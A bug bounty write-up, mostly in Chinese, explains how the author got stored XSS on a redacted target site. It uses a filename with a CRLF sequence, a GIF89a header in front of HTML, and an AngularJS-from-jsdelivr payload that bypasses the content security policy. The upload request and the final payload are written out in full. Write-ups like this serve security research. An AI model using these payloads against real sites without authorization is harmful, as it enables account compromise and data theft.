My name is Ignacio Jose Riva, and I am a full-time Bug Bounty Hunter actively working in platforms like Bugcrowd, Intigriti, Hackerone, etc hunting for all kinds of vulnerabilities.
在本文中,我将解释我是如何绕过图片上传功能,并在目标网站上实现存储型XSS的。
🖊️Writeup
在测试 https://app.target.com/ 时,我在 /profile 路径下发现了一个有趣的端点。
Profile image upload
个人资料图片上传功能依赖于以下 POST 端点:
bash
POST /api/images/
上传图片后,文件可以通过以下路径访问: /files/images/<filename>.png
响应如下:
json
{"message":"Upload successfully","files":[{"name":"<img>","path":"images/<img>","url":"https://app.target.com/files/images/<img>"}]}
起初,上传验证受到严格的正则表达式 保护,使得无法将此问题升级为远程代码执行(RCE)。因此,最可行的攻击途径是尝试存储型XSS。
我专注于滥用文件名处理,使用 .html 扩展名结合空字节(%0d%0a)。
使用的载荷如下:
ini
filename="name.html%0d%0a.png"
Content-Type: text/html
为了绕过图片验证,请求体以 GIF89a 文件签名开头,后接 HTML 内容:
css
GIF89a
<html><body>ANY</body></html>
这样,该文件被成功上传并呈现为 HTML 页面,而非图片。
CSP Restriction
当尝试执行 JavaScript 时,载荷被**内容安全策略(CSP)**阻止:
arduino
CSP script-src 'self' https://cdn.jsdelivr.net
这意味着只有托管在同一域名下或从 cdn.jsdelivr.net 加载的脚本才被允许。
为了绕过此限制,我使用了从 cdn.jsdelivr.net 加载的 AngularJS ,这符合 CSP 规则。一个非常有用的 CSP 攻击资源是:cspbypass.com/
Final Payload (Stored XSS)
html
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app>
<img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert('XSS by cyx :)');">
</div>
上传文件后,我直接访问了: https://app.target.com/files/images/name.html
此时,我成功做到了:
- 绕过图片上传限制
- 绕过 CSP
- 实现存储型 XSS
✉️ Get in Touch
如有问题、合作或想了解更多关于漏洞赏金猎取的内容,可以通过以下方式联系我:
- LinkedIn: linkedin.com/in/cyxbugs/
- Twitter: x.com/cyxbugs CSD0tFqvECLokhw9aBeRqj6jqLMuiORy6/rp+XTMHOVcU0CTINHq8kAGnLzNLK83ddW0lRF2hwizUDMpjFWvp7Rsq6LK4IIlmNQs8A8LUJLL55RQxregeAyAtAuO40Yq